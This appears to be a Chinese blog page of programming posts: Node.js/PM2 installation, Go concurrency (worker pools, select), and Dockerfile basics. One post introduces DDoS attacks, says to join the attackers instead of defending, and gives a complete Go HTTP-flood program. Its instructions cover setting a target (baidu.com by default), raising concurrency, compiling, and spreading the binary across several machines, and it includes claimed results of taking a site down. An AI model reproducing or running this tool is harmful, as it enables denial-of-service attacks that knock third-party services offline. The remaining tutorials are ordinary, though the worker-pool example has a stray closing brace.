莫名 发布的文章

进程管理

安装进程管理器PM2

一. 安装node.js

1. 下载压缩包

2. 解压文件

tar xvf node-v16.17.0-linux-x64.tar.gz

3. 移动并改名

mv node-v16.17.0-linux-x64/* /usr/local/nodejs

4. 建立软连接

ln -s /usr/local/nodejs/bin/node /usr/local/bin
ln -s /usr/local/nodejs/bin/npm /usr/local/bin

5. 测试node.js

node -v
npm -v

二. 安装pm2 {id="node-js_1"}

1. 全局安装安装pm2

npm install pm2 -g

2. 创建软连接 {id="2_1"}

ln -s /usr/local/nodejs/bin/pm2 /usr/local/bin/

3. 测试PM2

pm2 -v

DDos

DDos攻击是什么

DDoS攻击是目前最常见的网络攻击方式之一,其见效快、成本低的特点,让DDoS这种攻击方式深受不法分子的喜爱。DDoS攻击经过十几年的发展,已经“进化”的越来越复杂,黑客不断升级新的攻击方式以便于绕过各种安全防御措施。

举个例子

  • 假设你开了一家店,生意还不错哦。
  • 此刻隔壁家生意萧条的老王盯上了你
  • 于是他雇佣了一群闹事的小伙子
  • 紧接着,你就发现店里来了一大波客人。你完全应接不暇,而且他们老找你问这问那,东看西看,就是不买东西,更可恶,他们赖着不走了!
  • 而真正的客人进店的地方都没有了!这就是所谓的DDos攻击,他们伪装的和正常访问的数据几乎一模一样,使得防护设备无法识别哪些是非法的数据流量

解决办法

解决个屁, 打不过就加入, 废话不多说直接开始反击。

下面的代码由Golang编写 模拟用户请求, 利用go协程机制并发访问地址, 致使目标服务器应接不暇瘫痪。


使用方法

  1. 安装Golang环境
  2. 创建.go文件将下面代码复制进去
  3. 修改请求地址为你的目标
  4. workers为并行数量 数量越大目标压力越大
  5. go build 你创建的文件名 生成exe文件

如果单台电脑不足以给目标服务器造成压力 可以将编译文件放到多台电脑去执行

package main

import (
    "fmt"
    "io"
    "io/ioutil"
    "net/http"
    "net/url"
    "runtime"
    "sync/atomic"
    "time"
)

func main() {

    workers := 99999999 //请求并发数量
    d, err := New("http://baidu.com/", workers) // 请求的地址
    if err != nil {
        panic(err)
    }
    d.Run()
    time.Sleep(time.Second * 2)
    d.Stop()
    fmt.Println("DDoS attack server: http://baidu.com/")
    // Output: DDoS attack server: http://127.0.0.1:80
}

// DDoS - structure of value for DDoS attack
type DDoS struct {
    url           string
    stop          *chan bool
    amountWorkers int

    // Statistic
    successRequest int64
    amountRequests int64
}

// New - initialization of new DDoS attack
func New(URL string, workers int) (*DDoS, error) {
    if workers < 1 {
        return nil, fmt.Errorf("Amount of workers cannot be less 1")
    }
    u, err := url.Parse(URL)
    if err != nil || len(u.Host) == 0 {
        return nil, fmt.Errorf("Undefined host or error = %v", err)
    }
    s := make(chan bool)
    return &DDoS{
        url:           URL,
        stop:          &s,
        amountWorkers: workers,
    }, nil
}

// Run - run DDoS attack
func (d *DDoS) Run() {
    for i := 0; i < d.amountWorkers; i++ {
        fmt.Println(i)
        go func() {
            for {
                select {
                case <-(*d.stop):
                    return
                default:
                    // sent http GET requests
                    resp, err := http.Get(d.url) //发起请求
                    atomic.AddInt64(&d.amountRequests, 1)
                    if err == nil {
                        atomic.AddInt64(&d.successRequest, 1)
                        _, _ = io.Copy(ioutil.Discard, resp.Body)
                        _ = resp.Body.Close()
                    }
                }
                runtime.Gosched()
            }
        }()
    }
    fmt.Println("RUN end")
}

// Stop - stop DDoS attack
func (d *DDoS) Stop() {
    for i := 0; i < d.amountWorkers; i++ {

        fmt.Println("stop", i)
        *d.stop <- true

    }
    close(*d.stop)
}

// Result - result of DDoS attack
func (d *DDoS) Result() (successRequest, amountRequests int64) {
    return d.successRequest, d.amountRequests
}

执行结果

以我自己网站为例子

网站首页已经瘫痪

a4a3beb3fff10e11b7015caf24e23ac.png

CPU负载已经100

032643a214bd3c792ff51388e33dd13.png

work_pool 协程池, 工作池


在工作中我们通常会使用可以指定启动的goroutine数量worker pool模式,控制goroutine的数量,防止goroutine泄漏和暴涨。

一个简易的work pool示例代码如下:

package main

import (
    "fmt"
    "time"
)

//var g sync.WaitGroup

func worker(id int, project chan int, result chan int) {

    for j := range project {
        fmt.Printf("worker:%d,start job:,%d\n", id, j)
        time.Sleep(time.Second)
        result <- j * 2
    }
}

func res(res chan int) {
    for {
        fmt.Printf("任务执行完毕,结果%d\n", <-res)
    }
}

func main() {

    project := make(chan int, 100)
    result := make(chan int)

    // 携程池 启动三个携程
    for i := 0; i <= 3; i++ {
        go worker(i, project, result)
    }

    // 生产五个任务 先执行完的协程会自动过取任务
    for j := 0; j <= 5; j++ {
        project <- j
    }

    // 取出结果
    go res(result)

    time.Sleep(time.Second * 3)

}

}

select多路复用

在阅读此篇文章之前,我希望你已经掌握了 并发编程 里的知识。

在某些场景下我们可能需要同时从多个通道接收数据。通道在接收数据时,如果没有数据可以被接收那么当前 goroutine 将会发生阻塞。你也许会写出如下代码尝试使用遍历的方式来实现从多个通道中接收值。

for{
    // 尝试从ch1接收值
    data, ok := <-ch1
    // 尝试从ch2接收值
    data, ok := <-ch2
}

这种方式虽然可以实现从多个通道接收值的需求,但是程序的运行性能会差很多。Go 语言内置了select关键字,使用它可以同时响应多个通道的操作。

Select 的使用方式类似于之前学到的 switch 语句,它也有一系列 case 分支和一个默认的分支。每个 case 分支会对应一个通道的通信(接收或发送)过程。select 会一直等待,直到其中的某个 case 的通信操作完成时,就会执行该 case 分支对应的语句。具体格式如下:


select {
case <-ch1:
    //...
case data := <-ch2:
    //...
case ch3 <- 10:
    //...
default:
    //默认操作
}

Select 语句具有以下特点。

  • 可处理一个或多个 channel 的发送/接收操作。
  • 如果多个 case 同时满足,select 会随机选择一个执行。
  • 对于没有 case 的 select 会一直阻塞,可用于阻塞 main 函数,防止退出。

下面的示例代码能够在终端打印出10以内的奇数,我们借助这个代码片段来看一下 select 的具体使用。


package main

import "fmt"

func main() {
    ch := make(chan int, 1)
    for i := 1; i <= 10; i++ {
        select {
        case x := <-ch:
            fmt.Println(x)
        case ch <- i:
        }
    }
}

// 输出如下 
1
3
5
7
9

示例中的代码首先是创建了一个缓冲区大小为1的通道 ch,进入 for 循环后:

  • 第一次循环时 i = 1,select 语句中包含两个 case 分支,此时由于通道中没有值可以接收,所以x := <-ch 这个 case 分支不满足,而ch <- i这个分支可以执行,会把1发送到通道中,结束本次 for 循环;
  • 第二次 for 循环时,i = 2,由于通道缓冲区已满,所以ch <- i这个分支不满足,而x := <-ch这个分支可以执行,从通道接收值1并赋值给变量 x ,所以会在终端打印出 1;
  • 后续的 for 循环以此类推会依次打印出3、5、7、9。

Dockerfile篇

Dockerfile是用来构建Docker镜像的文本文件, 由一条条构建镜像所需的指令和参数构成的脚本。

  • 文件名首字母D大写
  • 构建三部曲

    • 编写 Dockerfile文件
    • 构建 docker build -t 新镜像名字:TAG .

      • (.)代表当前目录
    • 运行 docker run -it 新镜像名字:TAG

使用 Dockerfile 定制镜像

这里仅讲解如何运行 Dockerfile 文件来定制一个镜像,具体 Dockerfile 文件内指令详解,将在下一节中介绍,这里你只要知道构建的流程即可。

1、下面以定制一个 nginx 镜像(构建好的镜像内会有一个 /usr/share/nginx/html/index.html 文件)

在一个空目录下,新建一个名为 Dockerfile 文件,并在文件内添加以下内容:

FROM nginx
RUN echo '这是一个本地构建的nginx镜像' > /usr/share/nginx/html/index.html

2、FROM 和 RUN 指令的作用

FROM:定制的镜像都是基于 FROM 的镜像,这里的 nginx 就是定制需要的基础镜像。后续的操作都是基于 nginx。

RUN:用于执行后面跟着的命令行命令。有以下俩种格式:

shell 格式:

RUN <命令行命令>
# <命令行命令> 等同于,在终端操作的 shell 命令。

exec 格式:

RUN ["可执行文件", "参数1", "参数2"]
# 例如:
# RUN ["./test.php", "dev", "offline"] 等价于 RUN ./test.php dev offline

注意:Dockerfile 的指令每执行一次都会在 docker 上新建一层。所以过多无意义的层,会造成镜像膨胀过大。例如:

FROM centos
RUN yum -y install wget
RUN wget -O redis.tar.gz "http://download.redis.io/releases/redis-5.0.3.tar.gz"
RUN tar -xvf redis.tar.gz

以上执行会创建 3 层镜像。可简化为以下格式:

FROM centos
RUN yum -y install wget \
    && wget -O redis.tar.gz "http://download.redis.io/releases/redis-5.0.3.tar.gz" \
    && tar -xvf redis.tar.gz

如上,以 && 符号连接命令,这样执行后,只会创建 1 层镜像。

Dockerfile 保留关键字

  当前容器对外暴露出的端口
  EXPOSE

  容器启动命令
  Dockerfile 中可以有多个CMD指令, 但只有最后一个生效,CMD会被docker run 之后的参数替换
  CMD ["可执行文件", "参数", "参数2"]

  用来在构建镜像过程中设置环境变量
  ENV MY_PATH /user/test
  
  容器数据卷, 用于数据保持
  VOLUME

  当指定ENTRYPOINT后,CMD含义就发生了变化, 不再是直接运行其命令,二十将CMD的内容作为参数传递给ENTRYPOINT指令,他两个组合会变成<ENTRYPOINT>"<CMD>".
  例子:
  FROM nginx
  ENTRYPOINT ["nginx", "-c"] # 定参
  CMD ["/etc/nginx/nginx.conf"] # 变参

  指定一个已经存在的镜像作为模板:
  From

  作者/维护者
  MAINTAINER

  容器构建时执行的命令 两种格式 shell格式 exec格式 RUN是在docker build时运行
  RUN 命令

  将宿主机目录下的文件拷贝进镜像,且会自动处理URL和解压tar压缩包
  ADD

  复制文件 宿主机文件 复制进目标文件夹
  COPY

  指定创建容器后,终端默认登录的进来工作目录,一个落脚点, 可以配合ENV使用
  WORKDIR